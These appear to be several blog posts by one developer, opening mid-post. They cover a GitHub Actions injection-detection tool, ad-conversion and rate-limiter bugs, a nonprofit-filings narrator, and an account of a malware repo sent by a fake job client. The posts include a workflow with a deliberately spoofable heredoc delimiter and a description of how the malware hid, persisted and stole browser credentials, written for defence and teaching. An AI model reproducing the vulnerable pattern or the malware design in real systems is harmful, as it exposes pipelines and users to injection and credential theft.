The last one took the most discipline to keep. The temptation in a tool like this is to make UNKNOWN disappear, because a report full of UNKNOWNs feels like a tool that does not work. But the alternatives are worse. Marking an unreadable action as DIES is a lie that hides an injection; marking it as SHELL is a lie that trains people to ignore the tool. So UNKNOWN is a first-class verdict and the reason is always concrete: the action is not vendored locally, it is a docker action so the arguments reach an entrypoint the tool does not read, the JavaScript matched no pattern, the step's shell is pwsh or python, the heredoc delimiter could not be proven random, the file it would open resolves outside its root.

Take the composite action out of the local directory and the seven-hop chain above becomes:

  UNKNOWN: action example/helper-action@v1 not available locally (vendor it under --actions-dir as owner/repo/ref/action.yml, or run with --fetch)

It tells you where it stopped and what would let it continue. That is the whole contract.

The spoof nobody is looking for

The second verdict comes from a pattern that is everywhere in workflows, and no template check will ever flag it, because there is no template in it:

- id: parse
  env:
    BODY: ${{ github.event.issue.body }}
  run: |
    {
      echo "body<<EOF"
      echo "$BODY"
      echo "EOF"
    } >> "$GITHUB_OUTPUT"

There is no expression in the script. The variable is only echoed. Every template-injection check passes. And an issue whose body contains a line that says EOF closes the heredoc early, so every line after it is parsed by the runner as a new key=value pair. The attacker now sets step outputs that the next step reads as ${{ steps.parse.outputs.anything }}, and if that next step interpolates one of those outputs into a run: block, the next step is the classic injection again, one hop later. The one-line form echo "body=$BODY" >> "$GITHUB_OUTPUT" has the same problem with a plain newline.

$ taint-trail tests/fixtures/workflows/spoof_static_delimiter.yml
github.event.issue.body  [untrusted]  tests/fixtures/workflows/spoof_static_delimiter.yml / job triage
  tests/fixtures/workflows/spoof_static_delimiter.yml:11  env BODY
  tests/fixtures/workflows/spoof_static_delimiter.yml:15  run  (echo "$BODY")
  SPOOF: written to $GITHUB_OUTPUT inside a heredoc block whose delimiter 'EOF' is static; a value containing that line closes the block early and the rest is parsed as new keys

The fix is the one GitHub documents, a delimiter the attacker cannot predict:

delimiter="$(openssl rand -hex 16)"
{
  echo "body<<${delimiter}"
  echo "$BODY"
  echo "${delimiter}"
} >> "$GITHUB_OUTPUT"

which the tool reports as DIES: written to $GITHUB_OUTPUT under a random heredoc delimiter. A delimiter built from $$ or the clock is not proven random, so that one ends as UNKNOWN rather than DIES, on purpose.

Recognising this block turned out to be most of the shell-matching work in the project. Bash lets you write that group forty different ways: one line, opening brace with content on the same line, closing brace on the last body line, nested in a subshell, after &&, inside an if, inside a for whose done carries the redirect, closing with a \ continuation. The test suite has 42 fixture layouts of the group and each one has to end in SPOOF. I found most of them the hard way, by attacking the matcher after each round and adding the shape that got through.

Outputs are tainted as a set, on purpose

There is one place where the tool deliberately over-reports, and I want to be explicit about it because it is a design choice, not a bug.

When a step has a tainted variable in its environment and its script writes to $GITHUB_OUTPUT, the tool taints every output of that step. It does not try to prove which keys the script wrote. Same for a JavaScript action that received a tainted input: every output it declares is tainted, and so is every output it did not declare, because core.setOutput can set a name the manifest never mentions.

Proving which output got the value would need a real dataflow analysis of bash and JavaScript, and a wrong answer there would be silent. Over-approximating means a few more chains to read and zero chains that were hidden. The hop says over-approximation so nobody mistakes it for a proof.

What it does not do

The README has a section called "Limits, stated plainly" and I will repeat the important ones here, because a security tool that does not state its limits is asking you to trust it, and I would rather you read it.

Bash is matched by pattern, not parsed. bash -c 'tool "$1"' _ "$VAR" is a safe idiom and the tool reports it as SHELL anyway, because it sees bash -c and the variable on the same line. Read the line the chain points at.

JavaScript is a heuristic, and every verdict from it carries the word. There is no dataflow analysis. A bundled action whose getInput('x') string survived bundling is matched; one that renamed it is UNKNOWN.

Docker actions are opaque. Reusable workflows are followed one level. Secrets are trusted by definition. The only untrusted source is a ${{ }} expression, so a value read inside github-script through context.payload starts no chain.

And a handful of shell shapes are simply not matched: command substitution in command position, set -- $V followed by "$@", awk with system(), eval reached through a variable. Every one of these has a fixture in the repository named gap_*.yml that pins the current behaviour, one fixture per line in that README section, and the suite pins the count. Adding a pattern means deleting a fixture and its line. That rule is what let me stop: the README promises exactly what the code does, no more.

Running it

pip install .
taint-trail .github/workflows
taint-trail .github/workflows --actions-dir ./vendored-actions --strict --json

One runtime dependency, PyYAML. No network unless you pass --fetch, which shallow-clones every missing owner/repo@ref into the actions directory once and then scans. Every file the tool opens is checked against a root after resolving symlinks, and the tests create real symlinks pointing outside to assert that the content never shows up in a hop. The CI runs the tool on its own workflows with --strict, then on two fixtures it must flag, asserting exit 1 with SHELL and SPOOF in the output. The second step is the one that matters: the first alone would pass for a tool that finds nothing.

If your fix for an injection was "move it into env", this tells you whether the job is now safe or just quieter.

The offline conversion importer you write today fails in the next ad account

Vinicius Pereira — Thu, 17 Sep 2026 16:29:16 +0000

Google's guide for importing offline conversions opens with a warning box that is very easy to scroll past:

Starting June 15, 2026, UploadClickConversion requests will fail if the developer token hasn't previously sent requests to upload offline conversions or enhanced conversions for leads.

And then it says what to do instead: use the Data Manager API.

Read the condition again, because the condition is the whole story. It is not about your code and it is not about the ad account. It is about history on the developer token. A token that has been uploading offline conversions for a year keeps working. A token issued for a new integration has no history at all, so identical code that has run fine for a year fails the first time it runs somewhere new.

That is the worst failure shape on offer. It passes everywhere it was tested and breaks at the next install, and the person who finds out is the next advertiser, not you. The replacement endpoint is POST https://datamanager.googleapis.com/v1/events:ingest, and it is a different request body, a different scope, a different error vocabulary and a different failure model from the Google Ads API call most sample code still shows.

So I built the bridge against that endpoint, plus the Meta Conversions API /events edge on the other side, and wrote down every place where the documentation left room to guess.

The loop, in one sentence

A CRM knows which deals closed and for how much. The ad platforms know which clicks they served. Almost nobody owns the piece in between, which is why "we closed forty deals in March and Google shows thirty-one" is such a common question and such a hard one to answer. This pattern shows up in a lot of advertising work, and the shape is always the same.

The package is called revenue-loop and it exists to make one sentence true: a conversion is uploaded exactly once, attributed to the campaign the lead actually came from, or it is quarantined with the reason named. It never invents an attribution identifier. 734 tests, one runtime dependency, and the whole suite runs offline in under a second.

Every number in that animation comes from python examples/loop_demo.py.

Now the part that has to be said plainly, because everything else depends on it. There is no ad account and no pixel behind this repository. No token was issued and no live call has been made. Both platforms ship as deterministic fakes that model their documented semantics: Google's fast-fail request model and its 2,000 event ceiling, Meta's 1,000 event ceiling, its 48 hour deduplication on event_id plus event_name, its seven day event_time rule that fails an entire request. The live adapters exist and their URLs, headers, encodings and error mapping are unit tested, but a run against a real account has not happened, and there is a RUNBOOK whose job is to turn it on honestly the day one exists.

That limit is what makes the rest checkable. Everything below is reproducible from a clone with no key.

The same customer, two hashes, both correct

Here is the part that costs money quietly. This is verbatim from the offline demo, which a test pins byte for byte so the README cannot drift:

raw email:      cloudy.sanfrancisco+shopping@gmail.com
google form:    cloudysanfrancisco@gmail.com   (gmail rules: dots and +suffix removed)
meta form:      cloudy.sanfrancisco+shopping@gmail.com   (lowercase and trim, nothing else)
google sha256:  223ebda6f6889b1494551ba902d9d381daf2f642bae055888e96343d53e9f9c4
meta sha256:    8dd4a9bf850242873c14976125edabc35096192b784626a5641a7d2de56e3c1e

That address is Google's own worked example. Its formatting guide requires, for gmail.com and googlemail.com only, removing every dot before the @ and the + with everything after it. Meta's customer information reference asks for whitespace removal and lowercasing and nothing else, and its own worked example is John_Smith@gmail.com becoming john_smith@gmail.com: a Google-operated domain keeping a local part the Google rules would have changed.

One shared normalise_email is therefore wrong for at least one destination on every gmail address you own. And the wrongness is silent. The upload succeeds, the event is received, the conversion is simply never matched to anybody. Google says it in as many words, warning that skipping those rules "will result in different hash values than Google expects for these domains, leading to missed matches". Nothing raises. The campaign just looks worse than it is.

The divergence keeps going in smaller places. Google keeps the hyphen in a family name, Meta strips punctuation. Google wants E.164 with the +, Meta wants digits only. So the package normalises twice, once per dialect, and six hashes in the suite are Meta's own published vectors, input and expected digest both, reproduced exactly. Google's guide publishes normalised forms rather than digests, so its three worked examples are pinned at that level. Two of those vectors are non-ASCII, which matters more than it looks: an implementation that strips non-ASCII "to be safe" produces a wrong hash for both and loses every non-English customer in the account.

Where the documentation is silent, the silence is named instead of filled. The biggest one is which Unicode case operation "lowercase" means. Both vendors write "convert to lowercase", and str.lower and str.casefold disagree on real input, since casefold maps ß onto ss, which is a transliteration. This uses str.lower and a test pins it, because a well-meaning refactor to casefold would change every hash in the system without turning anything red. I have paid for the casefold version of this lesson in production once already.

The bug that lied about the reason

This one was found in a skeptical review pass before publishing, and it is the best thing in the repository.

The upload store is written only after a destination confirms. That asymmetry is deliberate: recording an upload that did not happen loses a conversion silently and forever, while recording nothing for an upload that did happen costs one duplicate request that the deterministic key makes harmless.

But a store that is written after the send is not consulted usefully during the send. A CRM that fires its webhook on every field change delivers the same won deal twice in one run. Both copies asked the store whether this key had already gone up, both got no, and both travelled in the same request. The batch landed. Two rows for one conversion.

Nothing errors. The damage arrives later, through the restatement path:

uploaded_total = _total_uploaded(history)        # 4820 + 4820 = 9640
delta = restatement.new_value - uploaded_total   # 5200 - 9640 = -4440

A salesperson upsells the deal from 4,820 to 5,200. The history says 9,640 was uploaded. So an honest increase reads as a drop of 4,440, and a drop has no documented path on either API, so the loop quarantines it with negative_adjustment_unsupported and a message explaining that the value went down.

The real revenue never reaches the platform, and the reason in the audit trail is false. A person reading that quarantine goes looking for a refund that does not exist. It gets worse under the durable store the RUNBOOK tells you to use, where a unique index on (account_ref, destination, key) turns the second write into an IntegrityError that takes the run down.

The fix is one line of doctrine: the key has to hold in two places, the store and the batch.

batch = pending.setdefault((account.account_ref, destination), [])
if any(item.key == ready.key for item in batch):
    # already in this batch: record it, send nothing
    ...
    continue
batch.append(ready)

Plus dict.fromkeys(outcome.accepted) on the way back, so one accepted key writes one row whatever the destination echoes. Two tests pin it, and I checked both by stashing the fix and watching them fail: test_the_same_deal_twice_in_one_run_uploads_once and test_an_upsell_after_a_duplicated_delivery_still_adds_the_difference.

The general shape is worth carrying out of this repo. A uniqueness rule enforced at the point of persistence is not enforced at all while there is an unpersisted buffer in front of it. Queues, batchers, in-flight maps and request bodies are all that buffer.

What it refuses to guess

The short version of the doctrine, each line an executable test:

{{gclid}}, undefined and N/A are not identifiers. A template that never rendered uploads a conversion that counts, attributes to nothing, and leaves the diagnostics report looking healthy.
Geography alone is not an identifier either. sha256("us") is the same value for every customer in the country. Meta accepts it. It matches nobody, so the gate stops at person-level signals.
A short count from Meta is ambiguous, not partial success. The documented body is a count with no list of which events it refers to, so nothing is recorded as uploaded and the next run re-sends under the same event_id.
One stale event takes a Meta batch with it. Past seven days the whole request errors, so 999 good conversions die for one bad row, which is why the window check happens locally before a request is spent.
A refund is quarantined naming ConversionAdjustmentUploadService, the Google Ads API service that documents restatements and retractions, which this package does not speak. No negative conversion value invented to approximate one.
Google's request reference and limits page both say 2,000 events per request while its TOO_MANY_EVENTS error reason says 10,000. This batches at 2,000 and writes the contradiction down rather than averaging it away.

What it does not tell you

The fakes are my model of the documentation, and a model is not a platform. Step 8 of the RUNBOOK exists because of the biggest gap: Meta documents deduplication on event_id plus event_name for 48 hours, and Google documents deduplication between a tag and the API, not between two ingestions of the same API. On the Google side the key is a hedge whose behaviour has to be confirmed once against a live account, deliberately, by sending the same conversion twice.

Google names an EVENT_TIME_INVALID error without publishing the window it applies, so the window here is configurable and unset by default rather than guessed. The default upload store is process-local memory, which is correct for the suite and gone the moment the process dies. And none of this reports anything: the platform's own reporting stays the only honest source for what the numbers are, because a second number is a second argument.

The code, the two dialects, the demo and both regression tests are in github.com/vinimabreu/revenue-loop, MIT, no network in the suite.

An uploaded conversion nobody can attribute is not measurement. It is a report that agrees with you.

Vinicius Pereira
vinimabreu.dev · github.com/vinimabreu

My rate limiter told callers to come back at a time it would refuse them

Vinicius Pereira — Sun, 13 Sep 2026 17:01:09 +0000

The gate said no, and it said when to come back.

HOLD   frequency_cap   retry_after 2026-09-15T12:00:00Z

So the caller came back at 12:00:00Z, and the gate said no, and it said to come back at 12:00:00Z.

Nobody was in an infinite loop in production, because this was a test suite and the package had not shipped yet. But the shape of it is the thing I want to write about, because I have written rate limiting more than once and I had never tested the part that broke.

The package, briefly

I was building a decision service for follow-up sequences. The idea is small: your n8n or Make scenario already knows how to send a message, so this is the thing it asks first. It answers SEND, SKIP, HOLD, STOP or ESCALATE, with a reason and the evidence it read.

Four acts: the case, a signal that lands between steps, the same step asked twice after a restart, and a quiet window read on the contact's clock.

One of the rules it enforces is a frequency cap. At most N messages on a channel per contact inside a sliding window, counted across every sequence that contact is in, because two campaigns that each respect their own limit still add up to two messages for the person receiving them.

The cap is about eleven lines. Here is the shape of it.

for cap in sequence.caps:
    if cap.channel is not step.channel:
        continue
    since = now - cap.window
    sends = ledger.sends_for_contact(case.contact_id, cap.channel, since)
    if len(sends) < cap.limit:
        continue
    oldest = min(s.decided_at for s in sends)
    return Hold(
        reason=FREQUENCY_CAP,
        retry_after=oldest + cap.window,
    )

Read it again and it still looks right. One send at 12:00 on Monday, a cap of one per day, so the window clears at 12:00 on Tuesday. That is exactly what oldest + cap.window says.

The other half, in another file

The ledger decides what counts as inside the window.

def sends_for_contact(self, contact_id, channel, since):
    return [
        r for r in self._records
        if r.contact_id == contact_id
        and r.channel is channel
        and r.decided_at >= since          # <- here
        and r.status != "failed"
    ]

>=.

At 12:00 on Tuesday, since is 12:00 on Monday. The Monday send has decided_at == since. Monday is greater than or equal to Monday, so the send is still in the window, so the count is still one, so the cap still holds, so the gate computes oldest + window again and returns the same instant it just refused.

The two pieces of code were written twenty minutes apart, in two files, and each one is defensible alone. The interval is closed at the bottom in one and treated as open at the bottom in the other. A window that includes its own lower boundary can never be escaped by waiting exactly one window.

The whole bug in one line: the instant the refusal points at is the instant the rule still refuses.

Why the suite did not catch it

This is the part I actually want to talk about, because the test that should have caught it was already there. Here it is as I first wrote it:

def test_the_cap_holds_the_second_send_inside_the_window():
    harness.send_and_confirm("s1")
    harness.clock.advance(timedelta(hours=1))

    verdict = harness.decide("s2")
    assert verdict.kind is VerdictKind.HOLD
    assert verdict.reason is Reason.FREQUENCY_CAP

Green. It asserts that the cap refuses. It says nothing at all about the instruction attached to the refusal.

And that is how almost every rate limiter I have read is tested. There is a test for "it lets the first one through", a test for "it blocks the second one", and usually a test for "after enough time it lets another through", written with a comfortable margin: advance a day and an hour, or a day and a minute, and assert SEND. Mine had that one too. timedelta(days=1, minutes=1) passed happily, because a minute past the boundary is not the boundary.

The margin is what hides it. Nobody tests the boundary, because the boundary feels like an off-by-one you would notice, and because advancing time by a convenient amount is what a person types when the point of the test is something else.

The test that catches it

The fix in the test is not more assertions about the hold. It is to obey the hold.

def test_the_hold_says_exactly_when_the_window_clears():
    harness.send_and_confirm("s1")
    harness.clock.advance(timedelta(hours=1))
    held = harness.decide("s2")

    assert held.retry_after == T0 + timedelta(days=1)

    harness.clock.set(held.retry_after)          # do exactly what it told me
    assert harness.decide("s2").kind is VerdictKind.SEND

Set the clock to the value the system handed back. Not a second later. Not a comfortable minute later. The exact instant, taken from the response rather than typed by hand.

That test fails on the original code, and the failure message is the whole story: HOLD frequency_cap where a SEND was expected, at the timestamp the system itself chose.

The fix was one character. >= became >, with a comment explaining why the interval is half open, and the boundary test pinned it.

# Strictly after: at exactly `since` the send has aged out of the window.
# With >= here, retry_after (oldest + window) lands on an instant that is
# still capped, and a caller that obeys it gets held again, forever.
if r.decided_at > since and r.status != "failed":

The general version

When a gate refuses and returns a retry time, it has made a promise, and the promise is written in a different place from the rule that produced it. Nothing in the type system, and nothing in a normal test suite, forces those two places to agree.

So the class of bug is not "off by one in a comparison". It is an output that no test treats as an input. retry_after goes out to the caller and comes back as the caller's behaviour, and if your suite never closes that loop, the value is decorative.

The practice I took from it is short: for any value your system returns as advice, write the test that follows the advice. Retry after. Next page cursor. Suggested chunk size. The Location header on a 202. Each of those is a round trip through your own API, and each of them is usually asserted for shape and never for effect.

It generalises past time, too. A paginator that returns a cursor and a rate limiter that returns a delay are the same thing: a machine that refuses now and describes the conditions under which it will not refuse. If you never feed the description back in, the description is a comment.

While I was there

The same suite caught a second, quieter version of the same theme.

The service returns a reason on every verdict, from a fixed vocabulary, and the reason string goes into the audit log. So I wrote a test that reads the engine source and asserts that every member of the enum is actually produced somewhere.

def test_every_reason_is_reachable_from_a_verdict_kind():
    documented = {r.value for r in Reason}
    engine = (SRC / "engine.py").read_text()
    unused = {r for r in documented if f"Reason.{r.upper()}" not in engine}
    assert not unused, f"reasons never produced by the engine: {sorted(unused)}"

It failed immediately on sequence_exhausted. I had declared a reason for "every step of this sequence is settled" and never written the code that could return it. A caller reading my enum would have built a branch for a verdict that could not arrive.

That one was not a fix, it was a missing feature: nothing in the service answered "the sequence is over", which is exactly what a cron loop needs to know to stop asking. It is why the package now has an advance(case_id) call at all.

Dead vocabulary in a public enum is a small lie about your contract. A test can notice it, and the test is six lines.

The repo

The package is sequence-gate, MIT, Python, no network and no sleeps in the suite. It ships three deliberately wrong implementations alongside the right ones, and the tests run them and watch them fail: a stop check that runs after the send, a ledger keyed on the provider's message id that double-sends after a replay, and quiet hours evaluated on the server's clock that texts someone in Kolkata at 03:12.

Both bugs in this post are in the README, in a section called "bugs found while building it", which I think is the most useful section a repository like that can have.

If you keep one line from this: the timestamp your system returns is not documentation, it is an instruction, and something should be executing it.

Vinicius Pereira
vinimabreu.dev · github.com/vinimabreu

Before you give: hear what a nonprofit's tax filings say, and what they can't

Vinicius Pereira — Sun, 06 Sep 2026 10:59:31 +0000

This is a submission for Weekend Challenge: Generosity Edition

What I Built

Type the name of a US nonprofit and hear, in a minute or two, what its public tax filings say: how much money moved, whether it spent more than it took in, how many months of reserves it holds, where the money comes from, and how that moved over the last decade. Then, in the same breath, what those filings can't tell you.

There's no score. That was the whole design decision.

Every charity rating site ends in a number, and the number has to weigh things the filing doesn't measure. A Form 990 records what came in and what went out. It doesn't record whether the work is any good, whether the reserves are locked to a purpose, or what happened after the fiscal year closed. A score built on it is a guess wearing a number, and a donor who trusts the number is trusting the guess.

So the unit here isn't a score. It's a fact with a limit attached:

Reserves about 12 months
Net assets of $3 billion would cover about 12 months of spending at the current pace.
limit: Net assets include buildings, equipment and gifts restricted to a purpose,
so the part it could actually spend is smaller. Treat this as an upper bound.

The limit is a required field. The code can't produce a fact without one.

The generosity angle is simple: give better. Most of us donate on impulse or on a friend's word. This gives you one minute of what's actually on file, in words you can take in on the way to deciding, and it's free, keeps no account, and rates nobody.

Demo

Live: https://before-you-give.vercel.app

Try "American Red Cross", then "Doctors Without Borders", then a small food pantry in your state. The three feel completely different once you hear them.

The voice runs on a spending cap I set for the weekend. If it tells you the budget is used up, the full narration is written out under "Read the narration" and everything else still works.

Code

vinimabreu / before-you-give

Hear what a nonprofit's public tax filings say before you donate. No score, no guessing.

before-you-give

Type the name of a US nonprofit and hear, in a minute or two, what its public tax filings say: how much money moved, whether it spent more than it took in, how many months of reserves it holds, where the money comes from, and how that has moved over a decade. Then, in the same breath, what those filings cannot tell you.

No score. No ranking. No language model writing the numbers.

Live: https://before-you-give.vercel.app

A real session on the live site: search, pick the organization, listen, follow the narration, scroll to the chart. The same clip as an MP4: assets/demo.mp4.

Screens

Landing	Reading

Year by year	Phone

Why there is no score

Every charity rating site ends in a number, and the number has to weigh things the filing does not measure. A Form 990 records what an organization took in and what it spent. It does…

View on GitHub

MIT. Python, FastAPI, one HTML page with no build step. 82 tests that run offline against real API responses, no key needed.

How I Built It

Data first, code second. Every number comes unchanged from the ProPublica Nonprofit Explorer API, which republishes IRS Form 990 extracts. Before writing any logic I pulled six real organizations and saved the responses as fixtures: a big 990 filer with 13 years of history, a private foundation (990-PF) that reports the same lines under different names, a food pantry on the short 990-EZ form, another on the full form, and one organization with no filings at all. The code was shaped by what the feed actually returns, not by what I assumed it would. Every field is optional and every fact only exists if its inputs do.

Facts with limits. reading.py is the whole arithmetic. A Fact has a display value, a plain sentence, the same sentence written for a voice, and a limit. The limit is what stops the page from lying by layout. When the feed doesn't carry the program / admin / fundraising split (it's on the filing PDF, not in the API), the page says so instead of pretending. When an organization has no numbers, the page explains that small organizations file a postcard and churches don't have to file at all, because absence of data is not a warning sign and a blank page would imply it is.

Two renderings of every number. $3.2 billion for the eye, 3.2 billion dollars for the voice. A text to speech engine reads $3.2B five different ways and none of them is what a listener wants. There's a test that walks every narration and asserts there is no $ and no % anywhere in it.

The narration is templates, not a language model. The script is assembled from the facts by plain string code, so it can't drift from the data even a little. It ends with the source line every time.

ElevenLabs, with the guardrails written before the first paid call. The narration renders with eleven_turbo_v2_5. Two rules sit in front of it:

cache by text: the mp3 is stored by the hash of the script, so the same organization never costs twice;
a hard cap on calls and characters, checked before every request. Past the cap the server answers 429 and keeps serving what's already cached. A small per-address limiter sits in front of that.

Without a key the app runs text-only and says so on the page. Nothing else changes.

On the voice itself: I spent part of this week tuning ElevenLabs settings on a different project, and the lesson carried over. The voice you pick matters less than stability and style. Defaults sound fast and flat; too much style and it starts oscillating between moods mid-sentence. For narration I landed on stability 0.6, style 0.2, speed 0.95, and it reads a balance sheet like a calm person, which is the point.

What the data told me that I didn't expect. The American Red Cross's fundraising events lost money in fiscal 2023: $3.1 million in, $4 million to run. My first version printed "kept -27%", which is true and useless. Now it says the events cost more than they raised, and the limit line notes that events often exist to build a community as much as to raise money. Also: a $3 billion organization holding about 12 months of reserves, and Doctors Without Borders USA running an $89 million deficit with 4 months of reserves and 97% of revenue from donations. None of that is a verdict. It's what's on file, and now you can hear it.

What I didn't build. No scraping of the filing PDFs for the expense split, no score, no "recommended" list. A weekend is enough to be honest about a data feed; it isn't enough to be right about a cause.

Prize Categories

Best use of ElevenLabs. The voice isn't decoration here, it's the accessibility layer. The people this is for are not the people who read walls of numbers. Every figure is formatted for speech, the script is deterministic so the audio can't say something the page doesn't show, and the cache and cap are what make it responsible to leave a public demo running on a personal key.

If you try it on a nonprofit you care about and the page gets something wrong, open an issue. The numbers are ProPublica's; the sentences are mine, and I'd rather fix a sentence than defend it.

A fake client sent me a GitHub repo. Running it cost me two days and every password I had.

Vinicius Pereira — Thu, 27 Aug 2026 18:45:33 +0000

This week a client on a freelancer platform sent me a repo and asked me to run it. I ran it. Two days later I had rotated every credential I own and wiped my machine.

I want to walk through exactly how it works, because it is not one clever trick, it is a whole family of them, and they are all aimed at us specifically. The people building these know that a developer will clone a repo and type npm run dev without thinking, the same way you would open a door for someone holding coffee. That reflex is the exploit.

How the main one works

The setup looks like a real job. A "client" posts something senior and well paid: a senior AI engineer role, a big fixed budget. They message you fast and warm. Then they share a GitHub repo. In my case it was an AI companion game, and it was genuinely well architected, clean separation, sensible structure, the kind of code that lowers your guard on purpose. They ask you to run it locally and send a screenshot proving it works, before any contract exists.

The malware was in postcss.config.js. Not in an obvious place, in a config file nobody reads, sitting on the same line as the real config behind a long run of spaces so it scrolls off the screen. It was obfuscated with fromCharCode so even if you looked you would see noise, not a URL. It fires the moment you run the dev server.

When it fires, it beacons out to a command-and-control server, pulls down a second stage, and goes straight for the browser. On a Mac it tries to read the "Chrome Safe Storage" key out of the keychain, which is the key that decrypts every password and cookie Chrome has saved. One keychain prompt, and if you approve it, the whole vault leaves the machine. To make the C2 hard to block, the address was not hardcoded, it was resolved through a dead-drop on the Ethereum blockchain, so a takedown or a blocklist does nothing.

This family has names if you want to read more: Contagious Interview, BeaverTail, InvisibleFerret. It is run at scale and it targets developers through job offers, on purpose, because our machines hold SSH keys, cloud credentials, and source access.

The part that actually scared me came that night. I found that it had not just run and exited. It had rewritten main.js inside VS Code, cli.js inside npm, and index.js inside Discord, three Electron apps whose code is plain editable JavaScript on disk. The npm one went from 407 bytes to 1.7 MB. Every time I opened any of those apps, or ran any npm command, it respawned the password stealer and a clipboard monitor. A reboot does nothing against that. "No LaunchAgent, no cron" is not the same as "no persistence."

The other flavors

The repo trick is the loud one. There are quieter versions arriving the same week, and I have watched every one of these land in my own feed in the last few days.

The malicious attachment. The job post has a .zip or .rar attached, labeled something like "requirements" or "project brief." Inside, a couple of harmless PNGs as decoy and one .vbs or .bat file. That script downloads the real payload from a hacked WordPress site and runs it. On a Mac a .vbs will not execute, but the file still travels, and if you also use Windows it will fire there.

The compromised real account. You check the client and it looks fine. Payment verified, phone verified, a five-star review, spending history, an account from years ago. Then it sends you a repo or an attachment with malware in it. Old, legitimate accounts get taken over and used as bait precisely because they pass the naive filter. Judge the message and the attachment, never the profile badge.

The off-platform pull. A warm reply to your proposal asking for your email so they can send the "official interview invitation," and often a tip to write your email with spaces so the platform's filter does not catch it. No real client ever coaches you to defeat the contact filter. That instruction alone is the whole answer.

The pay-to-test scam. A tester or QA role that, once you accept, needs you to fund a crypto wallet or a subscription "for payment testing, reimbursed separately." Crypto is irreversible and the reimbursement never comes. Real payment testing uses sandbox keys, never your own money.

Why the usual signals fail you here

The instinct is to trust the platform's checkmarks. Payment verified, top rated, high spend. Those tell you the account can pay and has a history. They tell you nothing about whether the file in front of you is safe, and they are exactly what a hijacked account still shows. The verification protects you against not getting paid. It does not protect you against running code.

The payment model itself kills the excuse. These platforms already hold the client's money and release it only when they approve your work, so a nervous client never needs to watch your machine run their project first. When someone insists you run their code and screenshot it before there is any contract at all, that is not caution and it is not a technical test. There is no legitimate reason for it. It is the attack.

The rules I follow now, no exceptions

Never run a stranger's code. Not a repo, not a script, not a notebook, not a "quick test task." Reading it is fine. Running it is the line, and it does not move for a good story or a big budget.
Read third-party code by view only. Read it raw over HTTP, no clone, no npm install, no pip install, no docker compose. And read the boring files first, because that is where it hides: config files like postcss, webpack, vite, the scripts block in package.json (watch postinstall and prepare), the Dockerfile, git hooks. Malware lives in the file you skip.
Treat attachments as text. Never double-click. A .docx or .xlsx is a zip, so unzip it and read the XML. A .zip or .rar, list the contents before extracting, and any .vbs, .bat, .js, .lnk, .scr, .hta, or executable inside means you stop there. Never go fetch the second stage to "see what it is." That just hands the attacker your IP and runs live malware.
A funded contract does not make their code safe to run. This is the bypass a scammer will reach for next, so be clear about it: a paid contract changes who is liable for the work, it does not change what the code does to your machine. If you ever genuinely have to run something unknown, it goes in a throwaway VM with no network and no access to your real files, and even a clean run there proves nothing, because some of this only fires on the right OS and some detects a VM. Reading the code is the only real check. Everything else is a second layer.
Stop saving passwords in the browser. That single keychain prompt is what turns one mistake into fourteen stolen logins. Use a password manager with its own master password, turn on 2FA everywhere, add passkeys where you can.
If it fires, assume the worst and wipe. Persistence hides in Electron apps and in npm, not only in the places a checklist looks. A reboot is not cleanup. If you cannot prove the machine is clean, you cannot trust it. I could not, so I formatted.

The uncomfortable part

The platforms are not catching these fast enough. I reported the job that got me, and the first reply said there was nothing wrong with it. The post came down a day later, from a different team, which tells you the front line and the safety team are not the same speed. You cannot outsource this to the marketplace. You are the last check.

The good news is that the defense is cheap. Skipping a scam costs you one lead you were never going to close anyway. Running one costs you your machine and days of your life. I know which trade I want now.

Be careful out there. If a client ever needs you to run their code before they will hire you, they are not hiring you.

Vinicius Pereira
vinimabreu.dev · github.com/vinimabreu

The third identity merge wasn't Unicode. It was a placeholder.

Vinicius Pereira — Tue, 25 Aug 2026 22:19:50 +0000

Ann and Bob don't exist. They're two synthetic strangers in the test workspace of a CRM bridge I was about to publish. Ann is ann@x.example, Bob is bob@x.example, and both typed N/A into the phone field of a lead form, because that's what people type into a required phone field they'd rather not fill. My fake CRM merged them. Bob's upsert came back carrying Ann's contact id with Ann's conversation history hanging off it, and the audit ledger recorded contact_created twice. Two people created, one person stored, and the second creation line quietly naming the first one's id.

I caught it in a pre-publish review pass, not in production, which is the only comfortable part of this story. It's the third time in a few months I've hit the same family of bug, and this one stings in a specific way: it walked past a doctrine I had already written down twice.

The first incident was production. Python's casefold() merged two of my customers into one tenant: Unicode case folding is many-to-one, U+212A KELVIN SIGN folds to k, and two distinct identifiers became one entitlement key. The second was last week. My new repo argued against the exact bug it was carrying: the package preached ASCII-only folding while its own test fakes normalised emails with str.lower(). The doctrine existed; a caller just didn't call it.

This third one is worse in an instructive way, because the doctrine was right in both places you'd think to look.

The repo, for context

ghl-bridge is a policy-gated bridge between a GoHighLevel location and whatever generates reply drafts. Webhook in, dedupe, then a gate that only auto-sends a message when every policy passes, idempotency keyed on the event rather than the delivery, and a guard that raises if anything unapproved tries to leave. 379 tests, all offline, no account and no API key behind any of it.

Identity in this package follows two rules I've now paid for personally. Email folds ASCII case only, because str.lower() and str.casefold() apply Unicode tables that merge characters which were never case variants of each other. And phone is deterministic E.164 or an explicit refusal: a bare national number resolves only through the location's configured region, and when the rules can't determine the answer, the result is a PhoneNeedsReview value carrying the raw input and a named reason. A value, not an exception. The caller has to route it to a human queue on purpose, because guessing a country code merges strangers.

Both rules held. normalise_email was clean. normalise_phone was clean. Every caller I'd checked called them.

The door nobody was watching

The fake workspace models the platform's documented upsert semantics: within a location, an incoming contact that matches on email or phone updates the existing record instead of creating a new one. To do that it keeps an email index and a phone index, and before the review pass, its phone key helper had a fallback:

def _phone_key(self, state: _LocationState, raw: str) -> str:
    result = normalise_phone(raw, default_region=state.location.default_region)
    if isinstance(result, NormalisedPhone):
        return result.e164
    return raw.strip()

Look at how reasonable it is. The doctrine function is right there, called first. The fallback only fires for values the normaliser refused, and it just keeps them, tidied up, so the index stays total. Every visible key path in the package was doctrine-clean, and then the else branch of one private helper inside the test fake overruled the whole argument.

Run the sequence and the consequences arrive in order. Ann upserts with phone N/A; the normaliser refuses; the index files her under the literal string N/A. Bob arrives an hour later with the same placeholder; his email misses; his phone "matches". Merge. From then on, every lead whose phone field says N/A chains into that same contact record, which keeps getting fatter. Meanwhile the deduper, which computes its own doctrine-clean keys, saw nothing to match for Bob, so it logged contact_created while the store underneath merged him away. The audit trail and the data disagreed. In a real CRM this is one stranger reading another stranger's conversation history.

